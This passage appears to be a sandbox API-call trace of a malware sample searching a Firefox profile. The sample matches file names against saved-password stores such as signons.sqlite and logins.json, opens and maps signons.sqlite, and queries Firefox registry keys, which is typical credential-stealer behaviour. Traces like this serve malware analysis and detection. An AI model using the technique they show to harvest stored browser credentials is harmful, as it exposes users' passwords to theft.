LocalFree (hMem=0x74fd68) returned 0x0 [0047.990] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.990] StrStrIA (lpFirst="key3.db", lpSrch="signons.sqlite") returned 0x0 [0047.990] lstrlenA (lpString="key3.db") returned 7 [0047.990] StrStrIA (lpFirst="key3.db", lpSrch="logins.json") returned 0x0 [0047.990] StrStrIA (lpFirst="key3.db", lpSrch="signons.txt") returned 0x0 [0047.990] StrStrIA (lpFirst="key3.db", lpSrch="signons2.txt") returned 0x0 [0047.990] StrStrIA (lpFirst="key3.db", lpSrch="signons3.txt") returned 0x0 [0047.990] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.990] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.sqlite") returned 0x0 [0047.990] lstrlenA (lpString="localstore.rdf") returned 14 [0047.990] StrStrIA (lpFirst="localstore.rdf", lpSrch="logins.json") returned 0x0 [0047.990] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.txt") returned 0x0 [0047.990] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons2.txt") returned 0x0 [0047.990] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons3.txt") returned 0x0 [0047.990] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.990] StrStrIA (lpFirst="marionette.log", lpSrch="signons.sqlite") returned 0x0 [0047.990] lstrlenA (lpString="marionette.log") returned 14 [0047.990] StrStrIA (lpFirst="marionette.log", lpSrch="logins.json") returned 0x0 [0047.990] StrStrIA (lpFirst="marionette.log", lpSrch="signons.txt") returned 0x0 [0047.990] StrStrIA (lpFirst="marionette.log", lpSrch="signons2.txt") returned 0x0 [0047.990] StrStrIA (lpFirst="marionette.log", lpSrch="signons3.txt") returned 0x0 [0047.990] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.990] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.sqlite") returned 0x0 [0047.990] lstrlenA (lpString="mimeTypes.rdf") returned 13 [0047.990] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="logins.json") returned 0x0 [0047.990] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.txt") returned 0x0 [0047.990] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons2.txt") returned 0x0 [0047.990] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons3.txt") returned 0x0 [0047.990] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.990] lstrcmpiA (lpString1=".", lpString2="minidumps") returned -1 [0047.990] lstrcmpiA (lpString1="..", lpString2="minidumps") returned -1 [0047.990] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0047.990] lstrlenA (lpString="\\") returned 1 [0047.990] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fc88 [0047.990] lstrcpyA (in: lpString1=0x74fc88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0047.990] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.990] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0047.991] lstrlenA (lpString="minidumps") returned 9 [0047.991] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x74fd68 [0047.991] lstrcpyA (in: lpString1=0x74fd68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.991] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" [0047.991] LocalFree (hMem=0x74fc88) returned 0x0 [0047.991] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned 91 [0047.991] lstrlenA (lpString="\\*.*") returned 4 [0047.991] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x74fe50 [0047.991] lstrcpyA (in: lpString1=0x74fe50, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" [0047.991] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*" [0047.991] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*", lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0x72dd90 [0047.991] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.991] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 1 [0047.991] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.991] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.991] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0 [0047.991] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0047.991] LocalFree (hMem=0x74fe50) returned 0x0 [0047.991] LocalFree (hMem=0x74fd68) returned 0x0 [0047.991] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.991] StrStrIA (lpFirst="parent.lock", lpSrch="signons.sqlite") returned 0x0 [0047.991] lstrlenA (lpString="parent.lock") returned 11 [0047.991] StrStrIA (lpFirst="parent.lock", lpSrch="logins.json") returned 0x0 [0047.991] StrStrIA (lpFirst="parent.lock", lpSrch="signons.txt") returned 0x0 [0047.991] StrStrIA (lpFirst="parent.lock", lpSrch="signons2.txt") returned 0x0 [0047.991] StrStrIA (lpFirst="parent.lock", lpSrch="signons3.txt") returned 0x0 [0047.991] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.991] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0047.991] lstrlenA (lpString="permissions.sqlite") returned 18 [0047.991] StrStrIA (lpFirst="permissions.sqlite", lpSrch="logins.json") returned 0x0 [0047.991] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.txt") returned 0x0 [0047.991] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.991] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.991] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.991] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.sqlite") returned 0x0 [0047.991] lstrlenA (lpString="places.sqlite") returned 13 [0047.991] StrStrIA (lpFirst="places.sqlite", lpSrch="logins.json") returned 0x0 [0047.991] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.txt") returned 0x0 [0047.991] StrStrIA (lpFirst="places.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.991] StrStrIA (lpFirst="places.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.991] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.991] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.sqlite") returned 0x0 [0047.991] lstrlenA (lpString="pluginreg.dat") returned 13 [0047.991] StrStrIA (lpFirst="pluginreg.dat", lpSrch="logins.json") returned 0x0 [0047.991] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.txt") returned 0x0 [0047.991] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons2.txt") returned 0x0 [0047.991] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons3.txt") returned 0x0 [0047.992] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.992] StrStrIA (lpFirst="prefs.js", lpSrch="signons.sqlite") returned 0x0 [0047.992] lstrlenA (lpString="prefs.js") returned 8 [0047.992] StrStrIA (lpFirst="prefs.js", lpSrch="logins.json") returned 0x0 [0047.992] StrStrIA (lpFirst="prefs.js", lpSrch="signons.txt") returned 0x0 [0047.992] StrStrIA (lpFirst="prefs.js", lpSrch="signons2.txt") returned 0x0 [0047.992] StrStrIA (lpFirst="prefs.js", lpSrch="signons3.txt") returned 0x0 [0047.992] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.992] StrStrIA (lpFirst="search.json", lpSrch="signons.sqlite") returned 0x0 [0047.992] lstrlenA (lpString="search.json") returned 11 [0047.992] StrStrIA (lpFirst="search.json", lpSrch="logins.json") returned 0x0 [0047.992] StrStrIA (lpFirst="search.json", lpSrch="signons.txt") returned 0x0 [0047.992] StrStrIA (lpFirst="search.json", lpSrch="signons2.txt") returned 0x0 [0047.992] StrStrIA (lpFirst="search.json", lpSrch="signons3.txt") returned 0x0 [0047.992] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.992] StrStrIA (lpFirst="secmod.db", lpSrch="signons.sqlite") returned 0x0 [0047.992] lstrlenA (lpString="secmod.db") returned 9 [0047.992] StrStrIA (lpFirst="secmod.db", lpSrch="logins.json") returned 0x0 [0047.992] StrStrIA (lpFirst="secmod.db", lpSrch="signons.txt") returned 0x0 [0047.992] StrStrIA (lpFirst="secmod.db", lpSrch="signons2.txt") returned 0x0 [0047.992] StrStrIA (lpFirst="secmod.db", lpSrch="signons3.txt") returned 0x0 [0047.992] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.992] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.sqlite") returned 0x0 [0047.992] lstrlenA (lpString="sessionstore.bak") returned 16 [0047.992] StrStrIA (lpFirst="sessionstore.bak", lpSrch="logins.json") returned 0x0 [0047.992] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.txt") returned 0x0 [0047.992] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons2.txt") returned 0x0 [0047.992] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons3.txt") returned 0x0 [0047.992] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.992] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.sqlite") returned 0x0 [0047.992] lstrlenA (lpString="sessionstore.js") returned 15 [0047.992] StrStrIA (lpFirst="sessionstore.js", lpSrch="logins.json") returned 0x0 [0047.992] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.txt") returned 0x0 [0047.992] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons2.txt") returned 0x0 [0047.992] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons3.txt") returned 0x0 [0047.992] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.992] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.sqlite") returned="signons.sqlite" [0047.992] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0047.992] lstrlenA (lpString="\\") returned 1 [0047.992] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fc88 [0047.992] lstrcpyA (in: lpString1=0x74fc88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0047.992] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.992] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0047.992] lstrlenA (lpString="signons.sqlite") returned 14 [0047.992] LocalAlloc (uFlags=0x40, uBytes=0xe1) returned 0x74d998 [0047.992] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.992] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="signons.sqlite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" [0047.992] LocalFree (hMem=0x74fc88) returned 0x0 [0047.992] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0047.992] CloseHandle (hObject=0x3b8) returned 1 [0047.993] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x62 [0047.993] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74da88 [0047.993] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite", lpDst=0x74da88, nSize=0x62 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite") returned 0x61 [0047.993] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0047.993] CloseHandle (hObject=0x3b8) returned 1 [0047.993] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0047.993] GetFileSize (in: hFile=0x3b8, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50000 [0047.993] CreateFileMappingA (hFile=0x3b8, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x3bc [0047.993] MapViewOfFile (hFileMappingObject=0x3bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x480000 [0047.995] UnmapViewOfFile (lpBaseAddress=0x480000) returned 1 [0047.996] CloseHandle (hObject=0x3bc) returned 1 [0047.996] CloseHandle (hObject=0x3b8) returned 1 [0047.996] LocalFree (hMem=0x74da88) returned 0x0 [0047.996] LocalFree (hMem=0x74d998) returned 0x0 [0047.996] lstrlenA (lpString="signons.sqlite") returned 14 [0047.996] StrStrIA (lpFirst="signons.sqlite", lpSrch="logins.json") returned 0x0 [0047.996] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.txt") returned 0x0 [0047.996] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.996] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.996] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.996] StrStrIA (lpFirst="times.json", lpSrch="signons.sqlite") returned 0x0 [0047.996] lstrlenA (lpString="times.json") returned 10 [0047.996] StrStrIA (lpFirst="times.json", lpSrch="logins.json") returned 0x0 [0047.996] StrStrIA (lpFirst="times.json", lpSrch="signons.txt") returned 0x0 [0047.996] StrStrIA (lpFirst="times.json", lpSrch="signons2.txt") returned 0x0 [0047.996] StrStrIA (lpFirst="times.json", lpSrch="signons3.txt") returned 0x0 [0047.996] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.996] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.sqlite") returned 0x0 [0047.996] lstrlenA (lpString="urlclassifierkey3.txt") returned 21 [0047.996] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="logins.json") returned 0x0 [0047.996] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.txt") returned 0x0 [0047.996] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons2.txt") returned 0x0 [0047.996] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons3.txt") returned 0x0 [0047.996] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.996] lstrcmpiA (lpString1=".", lpString2="webapps") returned -1 [0047.996] lstrcmpiA (lpString1="..", lpString2="webapps") returned -1 [0047.996] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0047.996] lstrlenA (lpString="\\") returned 1 [0047.996] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fc88 [0047.997] lstrcpyA (in: lpString1=0x74fc88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0047.997] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.997] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0047.997] lstrlenA (lpString="webapps") returned 7 [0047.997] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x74fd68 [0047.997] lstrcpyA (in: lpString1=0x74fd68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.997] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="webapps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" [0047.997] LocalFree (hMem=0x74fc88) returned 0x0 [0047.997] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned 89 [0047.997] lstrlenA (lpString="\\*.*") returned 4 [0047.997] LocalAlloc (uFlags=0x40, uBytes=0xde) returned 0x74fe50 [0047.997] lstrcpyA (in: lpString1=0x74fe50, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" [0047.997] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*" [0047.997] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*", lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0x72dd90 [0047.997] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.997] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 1 [0047.997] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.997] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.997] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 1 [0047.997] StrStrIA (lpFirst="webapps.json", lpSrch="signons.sqlite") returned 0x0 [0047.997] lstrlenA (lpString="webapps.json") returned 12 [0047.997] StrStrIA (lpFirst="webapps.json", lpSrch="logins.json") returned 0x0 [0047.997] StrStrIA (lpFirst="webapps.json", lpSrch="signons.txt") returned 0x0 [0047.997] StrStrIA (lpFirst="webapps.json", lpSrch="signons2.txt") returned 0x0 [0047.997] StrStrIA (lpFirst="webapps.json", lpSrch="signons3.txt") returned 0x0 [0047.997] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0 [0047.997] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0047.997] LocalFree (hMem=0x74fe50) returned 0x0 [0047.997] LocalFree (hMem=0x74fd68) returned 0x0 [0047.997] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.997] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.sqlite") returned 0x0 [0047.997] lstrlenA (lpString="webappsstore.sqlite") returned 19 [0047.997] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="logins.json") returned 0x0 [0047.997] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.txt") returned 0x0 [0047.997] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.997] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.997] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 0 [0047.997] FindClose (in: hFindFile=0x72dd50 | out: hFindFile=0x72dd50) returned 1 [0047.997] LocalFree (hMem=0x74fba8) returned 0x0 [0047.997] LocalFree (hMem=0x746ac0) returned 0x0 [0047.997] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef898 | out: lpFindFileData=0xef898) returned 0 [0047.997] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0047.997] LocalFree (hMem=0x74d860) returned 0x0 [0047.998] LocalFree (hMem=0x745b68) returned 0x0 [0047.998] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa00 | out: lpFindFileData=0xefa00) returned 1 [0047.998] StrStrIA (lpFirst="profiles.ini", lpSrch="signons.sqlite") returned 0x0 [0047.998] lstrlenA (lpString="profiles.ini") returned 12 [0047.998] StrStrIA (lpFirst="profiles.ini", lpSrch="logins.json") returned 0x0 [0047.998] StrStrIA (lpFirst="profiles.ini", lpSrch="signons.txt") returned 0x0 [0047.998] StrStrIA (lpFirst="profiles.ini", lpSrch="signons2.txt") returned 0x0 [0047.998] StrStrIA (lpFirst="profiles.ini", lpSrch="signons3.txt") returned 0x0 [0047.998] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa00 | out: lpFindFileData=0xefa00) returned 0 [0047.998] FindClose (in: hFindFile=0x72dc90 | out: hFindFile=0x72dc90) returned 1 [0047.998] LocalFree (hMem=0x74a738) returned 0x0 [0047.998] LocalFree (hMem=0x74a670) returned 0x0 [0047.998] LocalFree (hMem=0x7569a0) returned 0x0 [0047.998] LocalFree (hMem=0x7568e0) returned 0x0 [0047.998] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b918 [0047.998] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", phkResult=0xefbb0 | out: phkResult=0xefbb0*=0x39c) returned 0x0 [0047.998] RegEnumKeyExA (in: hKey=0x39c, dwIndex=0x0, lpName=0x75b918, lpcchName=0xefba8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, 